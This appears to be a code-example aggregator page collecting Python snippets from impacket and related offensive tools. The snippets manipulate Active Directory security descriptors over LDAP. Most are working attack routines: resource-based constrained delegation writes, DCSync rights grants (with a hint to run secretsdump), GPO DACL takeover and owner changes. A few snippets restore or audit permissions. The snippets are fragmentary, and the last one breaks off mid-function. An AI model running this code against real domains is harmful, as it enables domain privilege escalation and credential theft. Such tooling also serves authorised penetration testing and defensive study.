예제 #1
0
파일: rbcd.py 프로젝트: ManKiam/impacket
    def get_allowed_to_act(self):
        # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
        self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE,
                                 attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.ldap_session.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            logging.error('Could not query target user properties')
            return

        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
                data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            if len(sd['Dacl'].aces) > 0:
                logging.info('Accounts allowed to act on behalf of other identity:')
                for ace in sd['Dacl'].aces:
                    SID = ace['Ace']['Sid'].formatCanonical()
                    SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1]
                    logging.info('    %-10s   (%s)' % (SamAccountName, SID))
            else:
                logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
        except IndexError:
            logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty')
            # Create DACL manually
            sd = create_empty_sd()
        return sd, targetuser
예제 #2
0
    def do_write_gpo_dacl(self,line):
        args = shlex.split(line)
        print ("Adding %s to GPO with GUID %s" % (args[0], args[1]))
        if len(args) != 2:
            raise Exception("A samaccountname and GPO sid are required.")

        tgtUser = args[0]
        gposid = args[1]
        self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])
        if len( self.client.entries) <= 0:
            raise Exception("Didnt find the given user")

        user = self.client.entries[0]

        controls = security_descriptor_control(sdflags=0x04)
        self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)

        if len( self.client.entries) <= 0:
            raise Exception("Didnt find the given gpo")
        gpo = self.client.entries[0]

        secDescData = gpo['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        newace = self.create_allow_ace(str(user['objectSid']))
        secDesc['Dacl']['Data'].append(newace)
        data = secDesc.getData()

        self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result["result"] == 0:
            print('LDAP server claims to have taken the secdescriptor. Have fun')
        else:
            raise Exception("something wasnt right")
예제 #3
0
        def get_enrollment_principals(entry):
            # Mostly taken from github.com/ly4k/Certipy/certipy/security.py
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
            sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0])

            enrollment_uuids = [
                "00000000-0000-0000-0000-000000000000",  # All-Extended-Rights
                "0e10c968-78fb-11d2-90d4-00c04f79dc55",  # Certificate-Enrollment
                "a05b8cc2-17bc-4802-a710-e7c15ab866a2",  # Certificate-AutoEnrollment
            ]

            enrollment_principals = set()

            for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] ==
                        ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE):
                sid = format_sid(ace["Ace"]["Sid"].getData())
                if ace["Ace"]["ObjectTypeLen"] == 0:
                    uuid = bin_to_string(
                        ace["Ace"]["InheritedObjectType"]).lower()
                else:
                    uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower()

                if not uuid in enrollment_uuids:
                    continue

                enrollment_principals.add(sid)

            return enrollment_principals
예제 #4
0
    def delegateAttack(self, usersam, targetsam, domainDumper, sid):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info('Delegate attack already performed for this computer, skipping')
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
            self.config.escalateuser = usersam

        if not sid:
            # Get escalate user sid
            result = self.getUserInfo(domainDumper, usersam)
            if not result:
                LOG.error('User to escalate does not exist!')
                return
            escalate_sid = str(result[1])
        else:
            escalate_sid = usersam

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s', self.client.result['message'])
        return
    def do_set_rbcd(self, line):
        args = shlex.split(line)

        if len(args) != 1 and len(args) != 2:
            raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

        target_name = args[0]
        grantee_name = args[1]

        target_sid = args[0]
        grantee_sid = args[1]

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        target = self.client.entries[0]
        target_sid = target["objectSid"].value
        print("Found Target DN: %s" % target.entry_dn)
        print("Target SID: %s\n" % target_sid)

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        grantee = self.client.entries[0]
        grantee_sid = grantee["objectSid"].value
        print("Found Grantee DN: %s" % grantee.entry_dn)
        print("Grantee SID: %s" % grantee_sid)

        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0])
            print('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                print('    %s' % ace['Ace']['Sid'].formatCanonical())

                if ace['Ace']['Sid'].formatCanonical() == grantee_sid:
                    print("Grantee is already permitted to perform delegation to the target host")
                    return

        except IndexError:
            sd = self.create_empty_sd()

        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
        self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

        if self.client.result['result'] == 0:
            print('Delegation rights modified successfully!')
            print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name))
        else:
            if self.client.result['result'] == 50:
                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                raise Exception('The server returned an error: %s', self.client.result['message'])
예제 #6
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Dictionary for restore data
        restoredata = {}

        # Query for the sid of our user
        self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        # Save old SD for restore purposes
        restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
        restoredata['target_sid'] = usersid

        secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            config.set_priv(True)
            config.set_dcsync(True)
            # Query the SD again to see what AD made of it
            self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
            entry = self.client.entries[0]
            newSD = entry['nTSecurityDescriptor'].raw_values[0]
            # Save this to restore the SD later on
            restoredata['target_dn'] = dn
            restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
            restoredata['success'] = True
            self.writeRestoreData(restoredata, dn)
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
예제 #7
0
    def remove_addmember_privs(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m(
                '%s security descriptor is identical to before operation, skipping'
                % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            # Manual operation
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
            if RestoreOperation.dacl_remove_ace(
                    secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid,
                    accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException(
                    '%s security descriptor does not contain the modified ACE. The access may already be restored.'
                    % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])},
            controls=controls)
        if res:
            print_o('AddMember privileges restored successfully')
            return True
        else:
            raise RestoreException(
                'Failed to restore WriteMember privs on group %s: %s' %
                (data['target_dn'], str(ldapconnection.result)))
예제 #8
0
    def remove_domain_sync(ldapconnection, data):
        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        usersid = data['target_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)

        entry = ldapconnection.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        old_sd = binascii.unhexlify(data['old_sd'])
        if secDescData == old_sd:
            print_m(
                '%s security descriptor is identical to before operation, skipping'
                % data['target_dn'])
            return True

        new_sd = binascii.unhexlify(data['new_sd'])
        if secDescData != new_sd:
            accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
            # these are the GUIDs of the get-changes and get-changes-all extended attributes
            if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \
               RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype):
                print_m('Removing ACE using manual approach')
                replace_sd = secDesc.getData()
            else:
                raise RestoreException(
                    '%s security descriptor does not contain the modified ACE. The access may already be restored.'
                    % data['target_dn'])
        else:
            # We can simply restore the old SD since the current SD is identical to the one after our modification
            print_m('Removing ACE using SD restore approach')
            replace_sd = old_sd

        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])},
            controls=controls)
        if res:
            print_o('Domain Sync privileges restored successfully')
            return True
        else:
            raise RestoreException(
                'Failed to restore Domain sync privs on domain %s: %s' %
                (data['target_dn'], str(ldapconnection.result)))
예제 #9
0
def write_owner(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for owner
    controls = security_descriptor_control(sdflags=0x01)
    group_sam = get_sam_name(group_bh_name)

    # Dictionary for restore data
    restoredata = {}

    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
    if secDesc['OwnerSid'].formatCanonical() == usersid:
        print_m('%s is already owned by %s, skipping' % (group_sam, user_sam))
        return True

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid
    restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical()

    # Modify the sid
    secDesc['OwnerSid'] = LDAP_SID()
    secDesc['OwnerSid'].fromCanonical(usersid)

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Owner change successful')
        restoredata['success'] = True
        state.push_history('write_owner', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('write_owner', restoredata)
        raise ExploitException('Failed to change owner of group %s to %s: %s' %
                               (dn, userdn, str(ldapconnection.result)))
예제 #10
0
    def aclAttack(self, userDn, domainDumper):
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('ACL attack already performed. Refusing to continue')
            return

        # Query for the sid of our user
        self.client.search(userDn,
                           '(objectCategory=user)',
                           attributes=['sAMAccountName', 'objectSid'])
        entry = self.client.entries[0]
        username = entry['sAMAccountName'].value
        usersid = entry['objectSid'].value
        LOG.debug('Found sid for user %s: %s' % (username, usersid))

        # Set SD flags to only query for DACL
        controls = security_descriptor_control(sdflags=0x04)
        alreadyEscalated = True

        LOG.info('Querying domain security descriptor')
        self.client.search(
            domainDumper.root,
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = self.client.entries[0]
        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        secDesc['Dacl']['Data'].append(
            create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
        dn = entry.entry_dn
        data = secDesc.getData()
        self.client.modify(
            dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
            controls=controls)
        if self.client.result['result'] == 0:
            alreadyEscalated = True
            LOG.critical(
                'Success! User %s now has Replication-Get-Changes-All privileges on the domain'
                % username)
            LOG.info('Try using DCSync with secretsdump.py and this user :)')
            return True
        else:
            LOG.error('Error when updating ACL: %s' % self.client.result)
            return False
    def do_grant_control(self, line):
        args = shlex.split(line)

        if len(args) != 1 and len(args) != 2:
            raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args))

        controls = security_descriptor_control(sdflags=0x04)

        target_name = args[0]
        grantee_name = args[1]

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls)
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        target = self.client.entries[0]
        target_sid = target["objectSid"].value
        print("Found Target DN: %s" % target.entry_dn)
        print("Target SID: %s\n" % target_sid)

        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid'])
        if success is False or len(self.client.entries) != 1:
            raise Exception("Error expected only one search result got %d results", len(self.client.entries))

        grantee = self.client.entries[0]
        grantee_sid = grantee["objectSid"].value
        print("Found Grantee DN: %s" % grantee.entry_dn)
        print("Grantee SID: %s" % grantee_sid)

        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0])
        except IndexError:
            sd = self.create_empty_sd()

        sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid))
        self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls)

        if self.client.result['result'] == 0:
            print('DACL modified successfully!')
            print('%s now has control of %s' % (grantee_name, target_name))
        else:
            if self.client.result['result'] == 50:
                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
            elif self.client.result['result'] == 19:
                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
            else:
                raise Exception('The server returned an error: %s', self.client.result['message'])
예제 #12
0
def create_empty_sd():
    sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
    sd['Revision'] = b'\x01'
    sd['Sbz1'] = b'\x00'
    sd['Control'] = 32772
    sd['OwnerSid'] = ldaptypes.LDAP_SID()
    # BUILTIN\Administrators
    sd['OwnerSid'].fromCanonical('S-1-5-32-544')
    sd['GroupSid'] = b''
    sd['Sacl'] = b''
    acl = ldaptypes.ACL()
    acl['AclRevision'] = 4
    acl['Sbz1'] = 0
    acl['Sbz2'] = 0
    acl.aces = []
    sd['Dacl'] = acl
    return sd
예제 #13
0
    def remove_owner(ldapconnection, data):
        # Set SD flags to only query for owner
        controls = security_descriptor_control(sdflags=0x01)
        usersid = data['old_owner_sid']

        ldapconnection.search(
            data['target_dn'],
            '(objectClass=*)',
            search_scope=BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]

        secDescData = entry['nTSecurityDescriptor'].raw_values[0]
        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
        if secDesc['OwnerSid'].formatCanonical() == usersid:
            print_m(
                '%s is owned by the same user as before exploitation, skipping'
                % data['target_dn'])
            return True
        secDesc['OwnerSid'] = LDAP_SID()
        secDesc['OwnerSid'].fromCanonical(usersid)

        secdesc_data = secDesc.getData()
        res = ldapconnection.modify(
            data['target_dn'],
            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [secdesc_data])},
            controls=controls)
        if res:
            print_o('Owner restore succesful')
            return True
        else:
            # Constraintintersection means we can't change the owner to this SID
            # TODO: investigate why this is and possible workarounds
            if ldapconnection.result['result'] == 19:
                print_f(
                    'Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.'
                    % (data['target_dn'], usersid))
                # Treat this as a success
                return True
            raise RestoreException(
                'Failed to change owner of group %s to %s: %s' %
                (data['target_dn'], usersid, str(ldapconnection.result)))
예제 #14
0
def add_domain_sync(ldapconnection, state, user_sam, domain_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying domain security descriptor')
    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(&(objectCategory=domain))',
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    # This shouldn't happen but lets be sure just in case
    if ldap2domain(entry.entry_dn).upper() != domain_name.upper():
        raise ExploitException(
            'Wrong domain! LDAP returned the domain %s but escalation was requested to %s'
            % (ldap2domain(entry.entry_dn).upper(), domain_name.upper()))

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # We need "control access" here for the extended attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

    # these are the GUIDs of the get-changes and get-changes-all extended attributes
    secDesc['Dacl']['Data'].append(
        create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid,
                          accesstype))
    secDesc['Dacl']['Data'].append(
        create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid,
                          accesstype))

    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(
            get_ldap_root(ldapconnection),
            '(&(objectCategory=domain))',
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_domain_sync', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_domain_sync', restoredata)
        raise ExploitException('Failed to add DCSync privs to %s: %s' %
                               (userdn, str(ldapconnection.result)))
예제 #15
0
    def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping,
                                 domainDumper):
        standardrights = [
            self.GENERIC_ALL, self.GENERIC_WRITE, self.GENERIC_READ,
            ACCESS_MASK.WRITE_DACL
        ]
        for entry in entries:
            if entry['type'] != 'searchResEntry':
                continue
            dn = entry['dn']
            try:
                sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
            except IndexError:
                # We don't have the privileges to read this security descriptor
                LOG.debug('Access to security descriptor was denied for DN %s',
                          dn)
                continue
            hasFullControl = False
            secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
            secDesc.fromString(sdData)
            if secDesc['OwnerSid'] != '' and secDesc[
                    'OwnerSid'].formatCanonical() in membersids:
                sid = secDesc['OwnerSid'].formatCanonical()
                LOG.debug(
                    'Permission found: Full Control on %s; Reason: Owner via %s'
                    % (dn, sidmapping[sid]))
                hasFullControl = True
            # Iterate over all the ACEs
            for ace in secDesc['Dacl'].aces:
                sid = ace['Ace']['Sid'].formatCanonical()
                if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
                        'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
                    continue
                if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(
                        ACE.INHERIT_ONLY_ACE):
                    # ACE is set on this object, but only inherited, so not applicable to us
                    continue

                # Check if the ACE has restrictions on object type (inherited case)
                if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
                    and ace.hasFlag(ACE.INHERITED_ACE) \
                    and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
                    # Verify if the ACE applies to this object type
                    inheritedObjectType = bin_to_string(
                        ace['Ace']['InheritedObjectType']).lower()
                    if not self.aceApplies(
                            inheritedObjectType,
                            entry['raw_attributes']['objectClass'][-1]):
                        continue
                # Check for non-extended rights that may not apply to us
                if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace'][
                        'Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
                    # Check if this applies to our objecttype
                    if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[
                            'Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.
                                           ACE_OBJECT_TYPE_PRESENT):
                        objectType = bin_to_string(
                            ace['Ace']['ObjectType']).lower()
                        if not self.aceApplies(
                                objectType,
                                entry['raw_attributes']['objectClass'][-1]):
                            # LOG.debug('ACE does not apply, only to %s', objectType)
                            continue
                if sid in membersids:
                    # Generic all
                    if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
                        ace.dump()
                        LOG.debug(
                            'Permission found: Full Control on %s; Reason: GENERIC_ALL via %s'
                            % (dn, sidmapping[sid]))
                        hasFullControl = True
                    if can_create_users(ace) or hasFullControl:
                        if not hasFullControl:
                            LOG.debug(
                                'Permission found: Create users in %s; Reason: Granted to %s'
                                % (dn, sidmapping[sid]))
                        if dn == 'CN=Users,%s' % domainDumper.root:
                            # We can create users in the default container, this is preferred
                            privs['create'] = True
                            privs['createIn'] = dn
                        else:
                            # Could be a different OU where we have access
                            # store it until we find a better place
                            if privs[
                                    'createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry[
                                        'raw_attributes']['objectClass']:
                                privs['create'] = True
                                privs['createIn'] = dn
                    if can_add_member(ace) or hasFullControl:
                        if b'group' in entry['raw_attributes']['objectClass']:
                            # We can add members to a group
                            if not hasFullControl:
                                LOG.debug(
                                    'Permission found: Add member to %s; Reason: Granted to %s'
                                    % (dn, sidmapping[sid]))
                            privs['escalateViaGroup'] = True
                            privs['escalateGroup'] = dn
                    if ace['Ace']['Mask'].hasPriv(
                            ACCESS_MASK.WRITE_DACL) or hasFullControl:
                        # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
                        # a property, which is both weird and useless, so we skip it
                        if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
                            and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
                            # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
                            continue
                        if not hasFullControl:
                            LOG.debug(
                                'Permission found: Write Dacl of %s; Reason: Granted to %s'
                                % (dn, sidmapping[sid]))
                        # We can modify the domain Dacl
                        if b'domain' in entry['raw_attributes']['objectClass']:
                            privs['aclEscalate'] = True
                            privs['aclEscalateIn'] = dn
예제 #16
0
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name):
    # Query for the sid of our target user
    userdn, usersid = get_object_info(ldapconnection, user_sam)

    # Set SD flags to only query for DACL
    controls = security_descriptor_control(sdflags=0x04)

    # Dictionary for restore data
    restoredata = {}

    # print_m('Querying group security descriptor')
    group_sam = get_sam_name(group_bh_name)
    ldapconnection.search(
        get_ldap_root(ldapconnection),
        '(sAMAccountName=%s)' % escape_filter_chars(group_sam),
        attributes=['SAMAccountName', 'nTSecurityDescriptor'],
        controls=controls)
    entry = ldapconnection.entries[0]

    secDescData = entry['nTSecurityDescriptor'].raw_values[0]
    secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

    # Save old SD for restore purposes
    restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
    restoredata['target_sid'] = usersid

    # We need "write property" here to write to the "member" attribute
    accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP
    # this is the GUID of the Member attribute
    secDesc['Dacl']['Data'].append(
        create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid,
                          accesstype))
    dn = entry.entry_dn
    restoredata['target_dn'] = dn
    data = secDesc.getData()
    res = ldapconnection.modify(
        dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])},
        controls=controls)
    if res:
        print_o('Dacl modification successful')
        # Query the SD again to see what AD made of it
        ldapconnection.search(
            dn,
            '(objectClass=*)',
            search_scope=ldap3.BASE,
            attributes=['SAMAccountName', 'nTSecurityDescriptor'],
            controls=controls)
        entry = ldapconnection.entries[0]
        newSD = entry['nTSecurityDescriptor'].raw_values[0]
        newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD)
        # Save this to restore the SD later on
        restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
        restoredata['success'] = True
        state.push_history('add_addmember_privs', restoredata)
        return True
    else:
        restoredata['success'] = False
        state.push_history('add_addmember_privs', restoredata)
        # filter out already exists?
        raise ExploitException(
            'Failed to add WriteMember privs for %s to group %s: %s' %
            (userdn, dn, str(ldapconnection.result)))
예제 #17
0
    def run(self):

        if self.__doKerberos:
            target = self.getMachineName()
        else:
            if self.__kdcHost is not None and self.__targetDomain == self.__domain:
                target = self.__kdcHost
            else:
                target = self.__targetDomain

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % target,
                                                 self.baseDN, self.__kdcHost)
